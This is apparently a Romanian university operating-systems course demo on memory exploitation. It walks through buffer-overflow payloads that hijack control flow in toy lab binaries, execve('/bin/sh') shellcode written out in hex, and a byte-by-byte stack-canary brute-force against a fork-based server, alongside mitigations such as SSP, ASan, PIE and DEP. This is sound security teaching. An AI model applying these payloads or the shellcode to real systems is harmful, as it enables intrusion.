Pentru parcurgerea demo-urilor, folosim arhiva aferentă. Demo-urile rulează pe Linux. Descărcăm arhiva folosind comanda
wget http://elf.cs.pub.ro/so/res/cursuri/curs-07-demo.zip
și apoi decomprimăm arhiva
unzip curs-07-demo.zip
și accesăm directorul rezultat în urma decomprimării
cd curs-07-demo/
Acum putem parcurge secțiunile cu demo-uri de mai jos.
La IOCLA am descoperit cum se folosește stiva și cum putem face primii pași în exploatarea unei vulnerabilități de tip buffer overflow. În exercițiile de la IOCLA am exploatat o vulnerabilitate de tipul buffer overflow și am suprascris adresa de retur a unei funcții cu o valoare convenabilă, modificând astfel fluxul de execuție al programului (control flow hijack).
În subdirectorul buffer-overflow/
trecem printr-un exercițiu de tipul buffer overflow. În fișierul buffer-overflow.c
avem codul sursă al unui program cu o vulnerabilitate evidentă în funcția read_data()
:
static size_t read_data(void) { [...] char buffer[16]; [...] fgets(buffer, 48, stdin); [...]
În funcție, deși buffer
ocupă 16 octeți, citim 48
de octeți ducând la un buffer overflow.
Dorim exploatarea acestui program în două moduri, ambele vizând suprascrierea unui pointer de cod (code pointer):
func_ptr
read_data()
Pentru aceasta folosim programele executabile deja create: buffer-overflow-32
(pe 32 de biți) și buffer-overflow
(pe 64 de biți). Vom genera intrări convenabile (payload-uri) pe care le vom furniza la intrarea programelor pentru a suprascrie pointerii de cod și a genera apelul funcției inject_func()
.
make
pentru a regenera executabilele. O nouă compilare a acestora va afecta codul generat și payload-urile de exploit-uri din acest demo nu vor mai funcționa.
Pentru a genera payload-urile, urmărim în fișierul executabil generat plasarea în memorie a buffer-ului. Folosim analiză statică și dezasamblăm codul executabilului folosind objdump
:
$ objdump -d -M intel buffer-overflow [...] 0000000000400697 <actual_func>: [...] 00000000004006a8 <inject_func>: [...] 00000000004006c0 <read_data>: 4006c0: 55 push rbp 4006c1: 48 89 e5 mov rbp,rsp 4006c4: 48 83 ec 20 sub rsp,0x20 4006c8: 48 c7 45 f8 97 06 40 mov QWORD PTR [rbp-0x8],0x400697 4006cf: 00 4006d0: 48 8d 45 e0 lea rax,[rbp-0x20] 4006d4: ba 10 00 00 00 mov edx,0x10 4006d9: be 41 00 00 00 mov esi,0x41 4006de: 48 89 c7 mov rdi,rax 4006e1: e8 9a fe ff ff call 400580 <memset@plt> [...]
Din secvența de dezasamblare de mai sus extragem informațiile:
actual_func
este 0x400697
inject_func
este 0x4006a8
func_ptr
este plasat la adresa rbp-0x8
buffer
este plasat la adresa rbp-0x20
În mod similar, obținem informații și prin dezasamblarea executabilului pe 32 de biți:
$ objdump -d -M intel buffer-overflow-32 [...] 08048546 <actual_func>: [...] 0804855f <inject_func>: [...] 0804857f <read_data>: 804857f: 55 push ebp 8048580: 89 e5 mov ebp,esp 8048582: 83 ec 28 sub esp,0x28 8048585: c7 45 f4 46 85 04 08 mov DWORD PTR [ebp-0xc],0x8048546 804858c: 83 ec 04 sub esp,0x4 804858f: 6a 10 push 0x10 8048591: 6a 41 push 0x41 8048593: 8d 45 e4 lea eax,[ebp-0x1c] 8048596: 50 push eax 8048597: e8 74 fe ff ff call 8048410 <memset@plt>
Din secvența de dezasamblare de mai sus extragem informațiile:
actual_func
este 0x08048546
inject_func
este 0x0804855f
* pointer-ul
func_ptr este plasat la adresa
ebp-0xc
* buffer-ul
buffer' este plasat la adresa ebp-0x1c
Cu aceste informații putem calcula offset-ul dintre buffer și pointer-ul de funcție func_ptr
, respectiv adresa de retur a funcției. Adresa de retur a funcției se găsește la adresa ebp+4
pe 32 de biți, respectiv la adresa rbp+8
pe 64 de biți. Și genera payload-urile pentru exploatarea programelor. Aceste lucru este realizat în fișierul payloads.py
și obținem payload-urile prin interpretarea fișierului:
$ python3 payloads.py overwrite func_ptr (32 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08 overwrite return address (32 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x46\x85\x04\x08\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08 overwrite func_ptr (64 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00 overwrite return address (64 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x97\x06\x40\x00\x00\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00 overwrite return address (SSP, 64 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00
Putem folosi aceste payload-uri pentru a exploata vulnerabilitatea de tip buffer overflow din cadrul programelor buffer-overflow
și buffer-overflow-32
:
$ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08' | ./buffer-overflow-32 Insert message (less than 16 bytes): Call injected function. $ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x46\x85\x04\x08\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08' | ./buffer-overflow-32 Insert message (less than 16 bytes): Call actual function. Call injected function. $ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00' | ./buffer-overflow Insert message (less than 16 bytes): Call injected function. $ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x97\x06\x40\x00\x00\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00' | ./buffer-overflow Insert message (less than 16 bytes): Call actual function. Call injected function.
Pentru a proteja programele de efectele buffer overflow-urilor, acestea pot fi augmentate cu mecanisme defensive.
Un prim mecanism defensiv este Stack Smashing Protection (SSP) numit și Stack Guard, mecanism ce constă din plasarea unei valori (numită canary) pe stivă între buffere și adresa de retur. Această valoare este inițializată la intrarea într-o funcție și verificată la ieșirea din funcție. Putem urmări prezența stack canary prin analiză statică:
$ objdump -d -M intel buffer-overflow-ssp 0000000000400730 <read_data>: 400730: 55 push rbp 400731: 48 89 e5 mov rbp,rsp 400734: 48 83 ec 30 sub rsp,0x30 400738: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 40073f: 00 00 400741: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax [...] 40079e: 48 8b 4d f8 mov rcx,QWORD PTR [rbp-0x8] 4007a2: 64 48 33 0c 25 28 00 xor rcx,QWORD PTR fs:0x28 4007a9: 00 00 4007ab: 74 05 je 4007b2 <read_data+0x82> 4007ad: e8 1e fe ff ff call 4005d0 <__stack_chk_fail@plt> 4007b2: c9 leave 4007b3: c3 ret
Mai sus canary-ul a fost plasat pe stivă la adresa rbp-0x8
. La finalul funcției se verifică valoarea sa. Dacă valoarea a fost schimbată, a existat o suprascriere posibil cauzată din cauza unui atac de tipul buffer overflow și se apelează funcția __stack_chk_fail
care va încheia execuția programului împreună cu afișarea unui mesaj specific:
$ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00' | ./buffer-overflow-ssp Insert message (less than 16 bytes): Call actual function. *** stack smashing detected ***: <unknown> terminated Aborted (core dumped)
O formă mai avansată de protecție oferă AddressSanitizer (ASan). Acesta protejează împotriva unui spectru mai larg de erori și afișează mesaje de clarificare pentru eroarea apărută:
$ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00' | ./buffer-overflow-asan Insert message (less than 16 bytes): Call actual function. ================================================================= ==26396==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd82ff4910 at pc 0x7f87b096166e bp 0x7ffd82ff48c0 sp 0x7ffd82ff4068 READ of size 44 at 0x7ffd82ff4910 thread T0 #0 0x7f87b096166d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) #1 0x400bc0 in read_data /home/razvan/school/so/git-repos/curs.git/curs-07-demo/buffer-overflow/buffer-overflow.c:32 #2 0x400c1a in main /home/razvan/school/so/git-repos/curs.git/curs-07-demo/buffer-overflow/buffer-overflow.c:39 #3 0x7f87b0540b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #4 0x4009d9 in _start (/home/razvan/school/so/git-repos/curs.git/curs-07-demo/buffer-overflow/buffer-overflow-asan+0x4009d9) Address 0x7ffd82ff4910 is located in stack of thread T0 at offset 48 in frame #0 0x400ad4 in read_data /home/razvan/school/so/git-repos/curs.git/curs-07-demo/buffer-overflow/buffer-overflow.c:23 This frame has 1 object(s): [32, 48) 'buffer' <== Memory access at offset 48 overflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) [...]
ASan oferă mecanisme complexe de protecție dar și un overhead care nu permite folosirea sa în producție. De aceea, ASan este folosit în medii de testare pentru a identifica defecte în programele dezvoltate, uzual combinat cu fuzzing.
Realizarea unui atac la memoria unui proces necesită cunoașterea unor adrese din spațiul de adrese al acelui proces. O măsură defensivă care face dificilă aflarea adreselor este plasarea aleatoare a zonelor de memorie în spațiul virtual de adrese al procesului, tehnică numită ASLR (Address Space Layout Randomization). Atunci când se plasează aleator și zonele statice (date, cod) spunem că executabilul este compilat și linkat cu suport de PIC / PIE (Position Independent Code / Position Independent Executable). În cazul acesta, adresele din analiza statică a executabilului nu corespund celor de la run time, care vor fi realizate aleator. Astfel că atacurile de mai sus nu vor funcționa, rezultând în accesul la o zonă care acum este, cel mai probabil, nevalidă:
$ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00' | ./buffer-overflow-pie Segmentation fault (core dumped)
Secvențele de cod independente de poziție folosesc adresare relativă la poziția curentă în loc de adresare absolută. Mai jos folosim analiză statică pe executabilul cu suport PIE și pe cel fără suport PIE ca să urmărim diferența în folosirea adresei unei funcții:
$ objdump -d -M intel buffer-overflow-pie [...] 0000000000000817 <read_data>: 817: 55 push rbp 818: 48 89 e5 mov rbp,rsp 81b: 48 83 ec 20 sub rsp,0x20 81f: 48 8d 05 c4 ff ff ff lea rax,[rip+0xffffffffffffffc4] # 7ea <actual_func> [...] $ objdump -d -M intel buffer-overflow 00000000004006c0 <read_data>: 4006c0: 55 push rbp 4006c1: 48 89 e5 mov rbp,rsp 4006c4: 48 83 ec 20 sub rsp,0x20 4006c8: 48 c7 45 f8 97 06 40 mov QWORD PTR [rbp-0x8],0x400697 4006cf: 0 [...]
În listarea de mai sus vedem cum pentru cazul PIE adresa funcției actual_func
este obținută raportat la registrul pointer de instrucțiune (RIP). În cazul non-PIE adresa este folosită în valoare absolută 0x400697
.
Putem să vedem ce mecanisme defensive sunt prezente într-un executabil cu ajutorul scriptului ''checksec'':
$ wget https://raw.githubusercontent.com/slimm609/checksec.sh/master/checksec [...] $ chmod a+x checksec $ ./checksec --file=buffer-overflow RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 75 Symbols No 0 3 buffer-overflow $ ./checksec --file=buffer-overflow-pie RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 77 Symbols No 0 3 buffer-overflow-pie $ ./checksec --file=buffer-overflow-ssp RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 76 Symbols Yes 0 3 buffer-overflow-ssp
sudo apt install nasm
În exploit-urile prezentate mai sus am suprascris code pointeri și am modificat fluxul de execuție al programului apelând o funcție existentă (inject_func
). Această metodă, de refolosire a codului existent în cadrul unui atac, poartă numele de code reuse attacks. Din păcate pentru atacator, în cazul unui atac de tipul code reuse spațiul posibil de acțiune este limitat la codul existent. Așa că este de preferat un atac de tipul code injection care adaugă (injectează) cod în spațiul virtual de adrese al procesului. În general acest cod rezidă într-o zonă de date (unde este citit) care primește permisiuni de execuție.
Codul injectat de atacator poartă numele de shellcode. Deși denumirea indică deschiderea unei sesiuni de shell, un shellcode poate realiza orice tip de acțiune.
În subdirectorul shellcode/
avem resursele pentru generarea și folosirea unui shellcode care va crea un shell.
Shellcode-ul este în general scris în limbaj de asamblare, apoi este asamblat și, din fișierul obiect rezultat, se extrage codul mașină corespunzător ca înșiruire de octeți. Avem un shellcode descris în limbaj de asamblare în fișierul shellcode.asm
și unul pentru 32 de biți descris în shellcode-32.asm
. Aceste fișiere conțin codificarea în limbaj de asamblare a unui apel de sistem execve
. Este echivalent apelului C execve("/bin//sh", ["/bin//sh", NULL], NULL)
. Ca să obținem codul mașină corespunzător acestor shellcode-uri, folosim fișierul Makefile.shellcode
:
$ make -f Makefile.shellcode print nasm -o shellcode.bin shellcode.asm \x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05 $ make -f Makefile.shellcode print-32 nasm -o shellcode-32.bin shellcode-32.asm \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
Cele două șiruri în afișaj hexazecimal sunt cele două shellcode-uri, respectiv pe 64 de biți și 32 de biți.
Aceste două șiruri le folosim în fișierul run-shellcode.c
pentru a le rula. În acest fișier, variabila shellcode
este populată, depinzând de arhitectura folosită, cu cele două shellcode-uri. Ca să testăm funcționarea celor două shellcode-uri, compilăm fișierul și rulăm cele două executabile:
$ make gcc -Wall -Wextra -g -fno-stack-protector -fno-PIC -I../utils -c -o run-shellcode.o run-shellcode.c gcc -no-pie run-shellcode.o -o run-shellcode gcc -I../utils -Wall -Wextra -g -fno-stack-protector -fno-PIC -m32 -c -o run-shellcode-32.o run-shellcode.c gcc -no-pie -m32 -o run-shellcode-32 run-shellcode-32.o gcc -Wall -Wextra -g -fno-stack-protector -fno-PIC -I../utils -c -o inject-shellcode.o inject-shellcode.c gcc -no-pie -z execstack -o inject-shellcode inject-shellcode.o gcc -I../utils -Wall -Wextra -g -fno-stack-protector -fno-PIC -m32 -c -o inject-shellcode-32.o inject-shellcode.c gcc -no-pie -m32 -z execstack -o inject-shellcode-32 inject-shellcode-32.o $ ./run-shellcode $ ls Makefile inject-shellcode inject-shellcode-32.o inject-shellcode.o run-shellcode-32 run-shellcode.c shellcode-32.asm shellcode.asm shellcode.o Makefile.shellcode inject-shellcode-32 inject-shellcode.c run-shellcode run-shellcode-32.o run-shellcode.o shellcode-32.bin shellcode.bin shellcode.s $ exit $ ./run-shellcode-32 $ ls Makefile inject-shellcode inject-shellcode-32.o inject-shellcode.o run-shellcode-32 run-shellcode.c shellcode-32.asm shellcode.asm shellcode.o Makefile.shellcode inject-shellcode-32 inject-shellcode.c run-shellcode run-shellcode-32.o run-shellcode.o shellcode-32.bin shellcode.bin shellcode.s $ exit
După rularea celor două executabile rezultate este creat un shell în care putem rula comenzi. Putem valida crearea cu success a shell-ului folosind strace
:
$ strace -e execve ./run-shellcode execve("./run-shellcode", ["./run-shellcode"], 0x7fffdbedd2b0 /* 37 vars */) = 0 execve("/bin/sh", ["/bin/sh"], NULL) = 0 $ exit
Ca măsură defensivă împotrivă injectării de cod, sistemele moderne oferă suport în tabela de pagini pentru a marca pagini ca fiind neexecutabile. Acest mecanism se numește NX (No Executa) XD (eXecute Disable) sau DEP (Data Execution Prevention). În mod obiștnuit, variabila shellcode
din fișierul run-shellcode.c
nu ar trebui să fie executabilă. Întrucât este marcată const
această variabilă este plasată în zona .rodata
. Această zonă este însă uzual colocalizată cu zona .text
și astfel are și permisiuni de execuție. Acesta nu este un risc de securitate, întrucât este improbabil ca cineva să completeze într-un program variabile read-only cu valori sensibile ce pot fi executate.
Mai realist este scenariul în care un atacator furnizează programului shellcode-ul și programul îl stochează undeva în memorie de unde, prin mijloace precum supscrierea unui code pointer, este executat shellcode-ul. În aceste scenarii DEP va împiedica rularea shellcode-ului. Pentru a dezactiva DEP pe zona de memorie unde se găsește shellcode-ul, un atacator va trebui să remapeze acea zonă ca fiind executabilă printr-un apel de tipul mprotect
/ VirtualProtect
; deși posibilă, o astfel de acțiune nu este ușor de realizat de un atacator și atacul va deveni mai complicat.
Exemplificarea furnizării unui shellcode către program se găsește în fișierul inject-shellcode.c
. Aici citim date de la intrarea standard în variabila shellcode
, care acum este o variabilă globală aflată într-o zonă read-write. Rulăm cele două executabile generate (inject-shellcode
și inject-shellcode-32
) transmițându-le la intrarea shellcode-urile de mai sus:
$ echo -e '\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05' | ./inject-shellcode $ echo -e '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' | ./inject-shellcode-32
Motivul pentru care nu obținem un prompt nou este că acum shell-ul nou creat așteată input de la utilizator. Dar standard input-ul este acum dintr-un pipe care s-a închis atunci când procesul echo
s-a încheiat. Putem, la fel, să validăm crearea cu succes a shell-ului folosind coamanda strace
:
$ echo -e '\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05' | strace -e execve ./inject-shellcode execve("./inject-shellcode", ["./inject-shellcode"], 0x7fff2ff13cc0 /* 37 vars */) = 0 execve("/bin/sh", ["/bin/sh"], NULL) = 0 +++ exited with 0 +++
echo
și să rulăm comenzi în shell-ul nou creat, folosim o comandă precum cea de mai jos:
$ cat <(echo -e '\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05') - | ./inject-shellcode ls Makefile inject-shellcode inject-shellcode-32.o inject-shellcode.o run-shellcode-32 run-shellcode.c shellcode-32.asm shellcode.asm shellcode.o Makefile.shellcode inject-shellcode-32 inject-shellcode.c run-shellcode run-shellcode-32.o run-shellcode.o shellcode-32.bin shellcode.bin shellcode.s exit
Atacul funcționează pentru că dezactivat DEP pentru zonele de date ale procesului creat folosind opțiunea de linker -z execstack
. Dacă generăm un fișier executabil fără această opțiune, acesta va eșua să ruleze shellcode-ul și se va genera excepție de acces la memorie:
$ gcc -o inject-shellcode-dep inject-shellcode.c $ echo -e '\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05' | ./inject-shellcode-dep Segmentation fault (core dumped) $ dmesg [2584266.553494] inject-shellcod[28689]: segfault at 55c1fa5f4040 ip 000055c1fa5f4040 sp 00007fff25d0d518 error 15 in inject-shellcode-dep[55c1fa5f4000+1000]
Codul de eroare pentru segmentation fault este 15, adică acces de execuție la o adresă validă care nu are permisiuni de execuție.
Dorim să atacăm mecanismul defensiv Stack Smashing Protection (SSP) menționat mai sus. Pentru aceasta accesăm subdirectorul socket-ssp/
care creează un fork-based server, adică un server ce creează un proces pentru fiecare conexiune; această particularitate ne permite atacarea SSP permițându-ne suprascrierea adresei de retur.
Urmărim conținutul fișierului socket_ssp.c
. În acest fișier în funcția main()
se creează un server socket și se acceptă conexiuni de tratarea cărora se ocupă un proces copil. În funcția process_client()
se apelează funcția actual_func()
. Obiectivul nostru este să exploatăm vulnerabilitatea de tip buffer-overflow din funcția process_client()
pentru a suprascrie adresa de retur și a apela funcția inject_func()
.
Programul este compilat cu suport de Stack Smashing Protection care plasează stack canary pe stivă în funcția process_client()
. Opțiunea de compilare -fstack-protector
este adăugată în fișierul Makefile
:
CFLAGS = -Wall -Wextra -Wno-unused-function -g -fstack-protector -fno-PIC
make
pentru a regenera executabilul socket_ssp
. O nouă compilare va afecta codul generat și payload-ul de exploit din acest demo nu va mai funcționa.
Pentru a exploata acest program, pașii sunt similari cu exploatarea vulnerabilității de tip buffer overflow din subdirectorul buffer-overflow/
. Va trebui să aflăm:
inject_func
; această valoare va suprascrie adresa de retur
Pentru a afla aceste informații, folosim analiză statică. Dezasamblăm exeuctabilul socket_ssp
folosind objdump
:
$ objdump -d -M intel socket_ssp [...] 00000000004009a5 <inject_func>: [...] 00000000004009c3 <process_client>: 4009c3: 55 push rbp 4009c4: 48 89 e5 mov rbp,rsp 4009c7: 48 83 ec 20 sub rsp,0x20 4009cb: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 4009d2: 00 00 4009d4: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 4009d8: 31 c0 xor eax,eax 4009da: 8b 05 ec 16 20 00 mov eax,DWORD PTR [rip+0x2016ec] # 6020cc <connectfd> 4009e0: 48 8d 4d e0 lea rcx,[rbp-0x20] 4009e4: ba 64 00 00 00 mov edx,0x64 4009e9: 48 89 ce mov rsi,rcx 4009ec: 89 c7 mov edi,eax 4009ee: e8 0d fe ff ff call 400800 <read@plt> [...]
Din rezultatul dezasamblării extragem informațiile necesare:
inject_func
este 0x4009a5
rbp-0x20
(argumentul apelului read
)rbp-0x8
Știm că adresa de retur se găsește pe stivă la adresa rbp+0x8
.
În realizarea atacului, ținem cont că la fork()
(modul de tratare a conexiunilor în implementarea socket_ssp.c
) se păstrează spațiul de adresă al procesului, se vor păstra și stack canary. Așa că le putem suprascrie din clientul TCP octet cu octet până nimerim valoarea acelui octet, conform algoritmului:
1. Creăm un mesaj care supascrie doar un octet din canary value: umplem spațiul de la buffer la stack canary și adăugăm un octet.
2. Trimitem mesajul pe rețea.
3. Dacă valoarea nu este cea corectă, procesul copil creat se va încheia cu segmentation fault și conexiune se va încheia. Dacă așa a fost, creștem valoarea cu 1 și încercăm din nou pasul 2.
3'. Când nimerim o valoare, programul nu va genera eroare de tipul stack smashing detection. Se va încheia cu succes, va întoarce mesaj pe rețea și atunci știm că am nimerit octetul și trecem la următorul.
4. O dată descoperit un nou octet, mărim mesajul cu un nou octet și trecem la pasul 2.
Atacul este descris în fișierul exploit.py
. Pentru a realiza atacul, avem nevoie de două console: una pe care pornim serverul și una pe care pornim exploit-ul care va crea clienți pentru server. Pornim serverul pe o consolă:
$ ./socket_ssp
și atacul pe altă consolă. Atacul va dura să treacă prin toți octeții și să creeze un proces pentru fiecare socket. În final atacul va reuși și vom apela funcția inject_func()
. Un exemplu de atac este prezentat în fișierul result.txt
:
$ python3 exploit.py Canary byte 0 is 0x00 Canary byte 1 is 0x0c Canary byte 2 is 0xda Canary byte 3 is 0x55 Canary byte 4 is 0x89 Canary byte 5 is 0x3c Canary byte 6 is 0x40 Canary byte 7 is 0x71 Exploit result: Called injected function.
socket_ssp
valoarea stack canary diferă așa că rezultatul afișat de exploit (conținutul stack canary) va diferi de la rulare la rulare.